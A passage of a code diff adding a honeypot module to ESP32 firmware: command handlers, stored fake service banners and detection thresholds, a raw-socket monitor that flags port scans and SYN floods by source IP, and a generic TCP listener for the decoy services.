const char *filter = (argc > 0) ? argv[0] : "";
|
||||
|
||||
char buf[512];
|
||||
hp_config_list(filter, buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_reset
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_reset(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
esp_err_t err = hp_config_reset_all();
|
||||
if (err == ESP_OK)
|
||||
msg_info(TAG, "config=reset_to_defaults", req);
|
||||
else
|
||||
msg_error(TAG, "error=config_reset_failed", req);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_status
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_status(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
char buf[512];
|
||||
int off = 0;
|
||||
|
||||
/* Services */
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++) {
|
||||
off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ",
|
||||
hp_svc_id_to_name((hp_svc_id_t)i),
|
||||
hp_svc_running((hp_svc_id_t)i) ? "up" : "down");
|
||||
}
|
||||
|
||||
/* Monitors */
|
||||
off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s",
|
||||
hp_wifi_monitor_running() ? "up" : "down",
|
||||
hp_net_monitor_running() ? "up" : "down");
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_start_all — start all services + monitors
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_start_all(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++)
|
||||
hp_svc_start((hp_svc_id_t)i);
|
||||
hp_wifi_monitor_start();
|
||||
hp_net_monitor_start();
|
||||
|
||||
msg_info(TAG, "all=started", req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_stop_all — stop all services + monitors
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_stop_all(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++)
|
||||
hp_svc_stop((hp_svc_id_t)i);
|
||||
hp_wifi_monitor_stop();
|
||||
hp_net_monitor_stop();
|
||||
|
||||
msg_info(TAG, "all=stopped", req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t hp_cmds[] = {
|
||||
{ "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false },
|
||||
{ "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false },
|
||||
{ "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false },
|
||||
{ "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false },
|
||||
{ "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false },
|
||||
{ "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false },
|
||||
{ "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false },
|
||||
{ "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false },
|
||||
{ "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false },
|
||||
{ "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false },
|
||||
};
|
||||
|
||||
void mod_honeypot_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands");
|
||||
|
||||
hp_config_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) {
|
||||
command_register(&hp_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
8
espilon_bot/components/mod_honeypot/cmd_honeypot.h
Normal file
8
espilon_bot/components/mod_honeypot/cmd_honeypot.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_honeypot.h
|
||||
* Honeypot module public API.
|
||||
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_honeypot_register_commands(void);
|
||||
204
espilon_bot/components/mod_honeypot/hp_config.c
Normal file
204
espilon_bot/components/mod_honeypot/hp_config.c
Normal file
@ -0,0 +1,204 @@
|
||||
/*
|
||||
* hp_config.c
|
||||
* NVS-backed runtime configuration for honeypot services.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "hp_config.h"
|
||||
|
||||
#define TAG "HP_CFG"
|
||||
#define NVS_NS "hp_cfg"
|
||||
|
||||
/* ============================================================
|
||||
* Default banners
|
||||
* ============================================================ */
|
||||
static const struct {
|
||||
const char *service;
|
||||
const char *banner;
|
||||
} default_banners[] = {
|
||||
{ "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" },
|
||||
{ "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " },
|
||||
{ "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" },
|
||||
{ "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" },
|
||||
};
|
||||
#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0]))
|
||||
|
||||
/* ============================================================
|
||||
* Default thresholds
|
||||
* ============================================================ */
|
||||
static const struct {
|
||||
const char *key;
|
||||
int value;
|
||||
} default_thresholds[] = {
|
||||
{ "portscan", 5 },
|
||||
{ "synflood", 50 },
|
||||
{ "icmp", 10 },
|
||||
{ "udpflood", 100 },
|
||||
{ "arpflood", 50 },
|
||||
{ "tarpit_ms", 2000 },
|
||||
};
|
||||
#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0]))
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void hp_config_init(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Banner helpers
|
||||
* ============================================================ */
|
||||
static const char *_default_banner(const char *service)
|
||||
{
|
||||
for (size_t i = 0; i < NUM_BANNERS; i++) {
|
||||
if (strcmp(default_banners[i].service, service) == 0)
|
||||
return default_banners[i].banner;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
|
||||
if (err == ESP_OK) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "b_%s", service);
|
||||
size_t len = out_len;
|
||||
err = nvs_get_str(h, key, out, &len);
|
||||
nvs_close(h);
|
||||
if (err == ESP_OK)
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* Fall back to compile-time default */
|
||||
const char *def = _default_banner(service);
|
||||
snprintf(out, out_len, "%s", def);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
esp_err_t hp_config_set_banner(const char *service, const char *value)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "b_%s", service);
|
||||
err = nvs_set_str(h, key, value);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Threshold helpers
|
||||
* ============================================================ */
|
||||
static int _default_threshold(const char *key)
|
||||
{
|
||||
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
|
||||
if (strcmp(default_thresholds[i].key, key) == 0)
|
||||
return default_thresholds[i].value;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int hp_config_get_threshold(const char *key)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
|
||||
if (err == ESP_OK) {
|
||||
char nkey[16];
|
||||
snprintf(nkey, sizeof(nkey), "t_%s", key);
|
||||
int32_t val = 0;
|
||||
err = nvs_get_i32(h, nkey, &val);
|
||||
nvs_close(h);
|
||||
if (err == ESP_OK)
|
||||
return (int)val;
|
||||
}
|
||||
return _default_threshold(key);
|
||||
}
|
||||
|
||||
esp_err_t hp_config_set_threshold(const char *key, int value)
|
||||
{
|
||||
/* Clamp to sane range */
|
||||
if (value < 1) value = 1;
|
||||
if (value > 10000) value = 10000;
|
||||
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
char nkey[16];
|
||||
snprintf(nkey, sizeof(nkey), "t_%s", key);
|
||||
err = nvs_set_i32(h, nkey, (int32_t)value);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Reset
|
||||
* ============================================================ */
|
||||
esp_err_t hp_config_reset_all(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
err = nvs_erase_all(h);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Config reset to defaults");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* List
|
||||
* ============================================================ */
|
||||
int hp_config_list(const char *type_filter, char *buf, size_t buf_len)
|
||||
{
|
||||
int off = 0;
|
||||
bool show_banners = (!type_filter || !type_filter[0] ||
|
||||
strcmp(type_filter, "banner") == 0);
|
||||
bool show_thresholds = (!type_filter || !type_filter[0] ||
|
||||
strcmp(type_filter, "threshold") == 0);
|
||||
|
||||
if (show_banners) {
|
||||
for (size_t i = 0; i < NUM_BANNERS; i++) {
|
||||
char val[128];
|
||||
hp_config_get_banner(default_banners[i].service, val, sizeof(val));
|
||||
/* Truncate for display (strip \r\n) */
|
||||
char *p = val;
|
||||
while (*p && *p != '\r' && *p != '\n') p++;
|
||||
*p = '\0';
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"banner_%s=%s ", default_banners[i].service, val);
|
||||
}
|
||||
}
|
||||
|
||||
if (show_thresholds) {
|
||||
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
|
||||
int val = hp_config_get_threshold(default_thresholds[i].key);
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"threshold_%s=%d ", default_thresholds[i].key, val);
|
||||
}
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
29
espilon_bot/components/mod_honeypot/hp_config.h
Normal file
29
espilon_bot/components/mod_honeypot/hp_config.h
Normal file
@ -0,0 +1,29 @@
|
||||
/*
|
||||
* hp_config.h
|
||||
* NVS-backed runtime configuration for honeypot services.
|
||||
*
|
||||
* Two config types:
|
||||
* "banner" — per-service banner strings (ssh, telnet, ftp, http)
|
||||
* "threshold" — detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms)
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include <stdint.h>
|
||||
|
||||
/* Initialise NVS namespace (call once at registration time) */
|
||||
void hp_config_init(void);
|
||||
|
||||
/* banner get/set — returns ESP_OK or ESP_ERR_* */
|
||||
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len);
|
||||
esp_err_t hp_config_set_banner(const char *service, const char *value);
|
||||
|
||||
/* threshold get/set */
|
||||
int hp_config_get_threshold(const char *key);
|
||||
esp_err_t hp_config_set_threshold(const char *key, int value);
|
||||
|
||||
/* Reset all config to compile-time defaults */
|
||||
esp_err_t hp_config_reset_all(void);
|
||||
|
||||
/* List all config as key=value pairs into buf (for status responses) */
|
||||
int hp_config_list(const char *type_filter, char *buf, size_t buf_len);
|
||||
331
espilon_bot/components/mod_honeypot/hp_net_monitor.c
Normal file
331
espilon_bot/components/mod_honeypot/hp_net_monitor.c
Normal file
@ -0,0 +1,331 @@
|
||||
/*
|
||||
* hp_net_monitor.c
|
||||
* Network anomaly detector: port scan, SYN flood.
|
||||
*
|
||||
* Uses a raw TCP socket (LWIP) to inspect incoming SYN packets.
|
||||
* Maintains a per-IP tracking table (max 32 entries) with sliding
|
||||
* window counters. Sends HP| events when thresholds are exceeded.
|
||||
*
|
||||
* Note: ARP monitoring requires LWIP netif hooks (layer 2) and is
|
||||
* not possible via raw sockets. May be added via etharp callback later.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
#include "hp_net_monitor.h"
|
||||
|
||||
#define TAG "HP_NET"
|
||||
|
||||
#define NET_MON_STACK 4096
|
||||
#define NET_MON_PRIO 4
|
||||
#define NET_MON_CORE 1
|
||||
|
||||
/* Tracking table */
|
||||
#define MAX_TRACKED_IPS 32
|
||||
#define WINDOW_SEC 10 /* Sliding window for detections */
|
||||
|
||||
/* ============================================================
|
||||
* IP tracker entry
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
uint32_t ip; /* Network byte order */
|
||||
uint32_t first_seen; /* Tick count (ms) */
|
||||
uint32_t last_seen;
|
||||
uint16_t unique_ports[32]; /* Ring buffer of destination ports */
|
||||
uint8_t port_idx;
|
||||
uint8_t port_count;
|
||||
uint32_t syn_count; /* SYN packets in window */
|
||||
bool portscan_alerted;
|
||||
bool synflood_alerted;
|
||||
} ip_tracker_t;
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static atomic_bool net_running = false;
|
||||
static atomic_bool net_stop_req = false;
|
||||
static TaskHandle_t net_task = NULL;
|
||||
|
||||
static SemaphoreHandle_t tracker_mutex = NULL;
|
||||
static ip_tracker_t trackers[MAX_TRACKED_IPS];
|
||||
static int tracker_count = 0;
|
||||
|
||||
static uint32_t total_port_scans = 0;
|
||||
static uint32_t total_syn_floods = 0;
|
||||
|
||||
/* ============================================================
|
||||
* Tracker helpers
|
||||
* ============================================================ */
|
||||
static uint32_t now_ms(void)
|
||||
{
|
||||
return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS);
|
||||
}
|
||||
|
||||
static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len)
|
||||
{
|
||||
uint8_t *b = (uint8_t *)&ip_nbo;
|
||||
snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
|
||||
}
|
||||
|
||||
static ip_tracker_t *find_or_create_tracker(uint32_t ip)
|
||||
{
|
||||
uint32_t now = now_ms();
|
||||
|
||||
/* Search existing */
|
||||
for (int i = 0; i < tracker_count; i++) {
|
||||
if (trackers[i].ip == ip)
|
||||
return &trackers[i];
|
||||
}
|
||||
|
||||
/* Evict oldest if full */
|
||||
if (tracker_count >= MAX_TRACKED_IPS) {
|
||||
int oldest_idx = 0;
|
||||
uint32_t oldest_time = trackers[0].last_seen;
|
||||
for (int i = 1; i < tracker_count; i++) {
|
||||
if (trackers[i].last_seen < oldest_time) {
|
||||
oldest_time = trackers[i].last_seen;
|
||||
oldest_idx = i;
|
||||
}
|
||||
}
|
||||
if (oldest_idx < tracker_count - 1)
|
||||
trackers[oldest_idx] = trackers[tracker_count - 1];
|
||||
tracker_count--;
|
||||
}
|
||||
|
||||
ip_tracker_t *t = &trackers[tracker_count++];
|
||||
memset(t, 0, sizeof(*t));
|
||||
t->ip = ip;
|
||||
t->first_seen = now;
|
||||
t->last_seen = now;
|
||||
return t;
|
||||
}
|
||||
|
||||
static void expire_trackers(void)
|
||||
{
|
||||
uint32_t now = now_ms();
|
||||
uint32_t window = WINDOW_SEC * 1000;
|
||||
|
||||
for (int i = 0; i < tracker_count; ) {
|
||||
if ((now - trackers[i].last_seen) > window * 3) {
|
||||
if (i < tracker_count - 1)
|
||||
trackers[i] = trackers[tracker_count - 1];
|
||||
tracker_count--;
|
||||
} else {
|
||||
if ((now - trackers[i].first_seen) > window) {
|
||||
trackers[i].syn_count = 0;
|
||||
trackers[i].port_count = 0;
|
||||
trackers[i].port_idx = 0;
|
||||
trackers[i].first_seen = now;
|
||||
trackers[i].portscan_alerted = false;
|
||||
trackers[i].synflood_alerted = false;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool port_already_seen(ip_tracker_t *t, uint16_t port)
|
||||
{
|
||||
for (int i = 0; i < t->port_count && i < 32; i++) {
|
||||
if (t->unique_ports[i] == port)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Event recording
|
||||
* ============================================================ */
|
||||
static void record_syn(uint32_t src_ip, uint16_t dst_port)
|
||||
{
|
||||
if (!tracker_mutex ||
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE)
|
||||
return;
|
||||
|
||||
ip_tracker_t *t = find_or_create_tracker(src_ip);
|
||||
t->last_seen = now_ms();
|
||||
t->syn_count++;
|
||||
|
||||
/* Track unique ports for portscan detection */
|
||||
if (!port_already_seen(t, dst_port)) {
|
||||
t->unique_ports[t->port_idx % 32] = dst_port;
|
||||
t->port_idx++;
|
||||
t->port_count++;
|
||||
}
|
||||
|
||||
/* Snapshot values before releasing mutex */
|
||||
uint8_t port_count = t->port_count;
|
||||
uint32_t syn_count = t->syn_count;
|
||||
bool ps_alerted = t->portscan_alerted;
|
||||
bool sf_alerted = t->synflood_alerted;
|
||||
|
||||
int ps_thresh = hp_config_get_threshold("portscan");
|
||||
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
|
||||
t->portscan_alerted = true;
|
||||
total_port_scans++;
|
||||
}
|
||||
|
||||
int sf_thresh = hp_config_get_threshold("synflood");
|
||||
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
|
||||
t->synflood_alerted = true;
|
||||
total_syn_floods++;
|
||||
}
|
||||
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
|
||||
/* Send events outside mutex to avoid blocking */
|
||||
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
|
||||
char ip_str[16];
|
||||
ip_to_str(src_ip, ip_str, sizeof(ip_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds",
|
||||
port_count, WINDOW_SEC);
|
||||
event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00",
|
||||
ip_str, 0, 0, detail, NULL);
|
||||
}
|
||||
|
||||
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
|
||||
char ip_str[16];
|
||||
ip_to_str(src_ip, ip_str, sizeof(ip_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds",
|
||||
(unsigned long)syn_count, WINDOW_SEC);
|
||||
event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00",
|
||||
ip_str, 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Raw socket listener task
|
||||
* ============================================================ */
|
||||
static void net_monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if (raw_fd < 0) {
|
||||
ESP_LOGE(TAG, "raw socket failed: %d", errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
|
||||
setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
ESP_LOGI(TAG, "Network monitor started");
|
||||
net_running = true;
|
||||
|
||||
uint8_t pkt_buf[128];
|
||||
|
||||
while (!net_stop_req) {
|
||||
struct sockaddr_in src_addr;
|
||||
socklen_t addr_len = sizeof(src_addr);
|
||||
int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0,
|
||||
(struct sockaddr *)&src_addr, &addr_len);
|
||||
|
||||
if (n > 0) {
|
||||
uint8_t ihl = (pkt_buf[0] & 0x0F) * 4;
|
||||
if (ihl < 20 || n < ihl + 20)
|
||||
goto next;
|
||||
|
||||
uint8_t *tcp = pkt_buf + ihl;
|
||||
uint16_t dst_port = (tcp[2] << 8) | tcp[3];
|
||||
uint8_t flags = tcp[13];
|
||||
|
||||
/* SYN set, ACK not set → connection initiation */
|
||||
if ((flags & 0x02) && !(flags & 0x10)) {
|
||||
record_syn(src_addr.sin_addr.s_addr, dst_port);
|
||||
}
|
||||
}
|
||||
|
||||
next:
|
||||
if (tracker_mutex &&
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
|
||||
expire_trackers();
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
close(raw_fd);
|
||||
|
||||
done:
|
||||
net_running = false;
|
||||
net_stop_req = false;
|
||||
ESP_LOGI(TAG, "Network monitor stopped");
|
||||
net_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_net_monitor_start(void)
|
||||
{
|
||||
if (net_running || net_task) {
|
||||
ESP_LOGW(TAG, "Network monitor already running");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!tracker_mutex)
|
||||
tracker_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
tracker_count = 0;
|
||||
total_port_scans = total_syn_floods = 0;
|
||||
memset(trackers, 0, sizeof(trackers));
|
||||
net_stop_req = false;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net",
|
||||
NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create net monitor task");
|
||||
net_task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_net_monitor_stop(void)
|
||||
{
|
||||
if (!net_running && !net_task) {
|
||||
ESP_LOGW(TAG, "Network monitor not running");
|
||||
return;
|
||||
}
|
||||
net_stop_req = true;
|
||||
ESP_LOGI(TAG, "Network monitor stop requested");
|
||||
}
|
||||
|
||||
bool hp_net_monitor_running(void)
|
||||
{
|
||||
return net_running;
|
||||
}
|
||||
|
||||
int hp_net_monitor_status(char *buf, size_t len)
|
||||
{
|
||||
int count = 0;
|
||||
if (tracker_mutex &&
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
|
||||
count = tracker_count;
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
}
|
||||
|
||||
return snprintf(buf, len,
|
||||
"running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu",
|
||||
net_running ? "yes" : "no",
|
||||
count,
|
||||
(unsigned long)total_port_scans,
|
||||
(unsigned long)total_syn_floods);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
13
espilon_bot/components/mod_honeypot/hp_net_monitor.h
Normal file
13
espilon_bot/components/mod_honeypot/hp_net_monitor.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*
|
||||
* hp_net_monitor.h
|
||||
* Network anomaly detector: port scan, SYN flood, ARP flood/spoof.
|
||||
* Runs a periodic task that inspects counters updated from raw sockets.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
void hp_net_monitor_start(void);
|
||||
void hp_net_monitor_stop(void);
|
||||
bool hp_net_monitor_running(void);
|
||||
int hp_net_monitor_status(char *buf, size_t len);
|
||||
204
espilon_bot/components/mod_honeypot/hp_tcp_services.c
Normal file
204
espilon_bot/components/mod_honeypot/hp_tcp_services.c
Normal file
@ -0,0 +1,204 @@
|
||||
/*
|
||||
* hp_tcp_services.c
|
||||
* Generic TCP listener + public API for honeypot services.
|
||||
* Service handlers live in services/svc_*.c
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <errno.h>
|
||||
#include "esp_log.h"
|
||||
#include "services/svc_common.h"
|
||||
#include "hp_tcp_services.h"
|
||||
|
||||
#define TAG "HP_SVC"
|
||||
|
||||
#define SVC_STACK_SIZE 4096
|
||||
#define SVC_PRIORITY 4
|
||||
#define SVC_CORE 1
|
||||
#define ACCEPT_TIMEOUT_S 2
|
||||
#define CLIENT_TIMEOUT_S 5
|
||||
|
||||
/* ============================================================
|
||||
* Service descriptors
|
||||
* ============================================================ */
|
||||
static hp_svc_desc_t services[HP_SVC_COUNT] = {
|
||||
[HP_SVC_SSH] = { .name = "ssh", .port = 22 },
|
||||
[HP_SVC_TELNET] = { .name = "telnet", .port = 23 },
|
||||
[HP_SVC_HTTP] = { .name = "http", .port = 80 },
|
||||
[HP_SVC_FTP] = { .name = "ftp", .port = 21 },
|
||||
};
|
||||
|
||||
static const hp_client_handler_t handlers[HP_SVC_COUNT] = {
|
||||
[HP_SVC_SSH] = handle_ssh_client,
|
||||
[HP_SVC_TELNET] = handle_telnet_client,
|
||||
[HP_SVC_HTTP] = handle_http_client,
|
||||
[HP_SVC_FTP] = handle_ftp_client,
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Name <-> ID mapping
|
||||
* ============================================================ */
|
||||
int hp_svc_name_to_id(const char *name)
|
||||
{
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++) {
|
||||
if (strcmp(services[i].name, name) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *hp_svc_id_to_name(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return "unknown";
|
||||
return services[svc].name;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Client IP helper
|
||||
* ============================================================ */
|
||||
static void sockaddr_to_str(const struct sockaddr_in *addr,
|
||||
char *ip_buf, size_t ip_len,
|
||||
uint16_t *port_out)
|
||||
{
|
||||
inet_ntoa_r(addr->sin_addr, ip_buf, ip_len);
|
||||
*port_out = ntohs(addr->sin_port);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Generic listener task
|
||||
* ============================================================ */
|
||||
static void listener_task(void *arg)
|
||||
{
|
||||
hp_svc_desc_t *svc = (hp_svc_desc_t *)arg;
|
||||
int listen_fd = -1;
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(svc->port),
|
||||
.sin_addr.s_addr = htonl(INADDR_ANY),
|
||||
};
|
||||
|
||||
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (listen_fd < 0) {
|
||||
ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
int opt = 1;
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||
|
||||
if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (listen(listen_fd, 2) < 0) {
|
||||
ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port);
|
||||
svc->running = true;
|
||||
|
||||
while (!svc->stop_req) {
|
||||
struct sockaddr_in client_addr;
|
||||
socklen_t clen = sizeof(client_addr);
|
||||
int client_fd = accept(listen_fd,
|
||||
(struct sockaddr *)&client_addr, &clen);
|
||||
|
||||
if (client_fd < 0) {
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno);
|
||||
continue;
|
||||
}
|
||||
|
||||
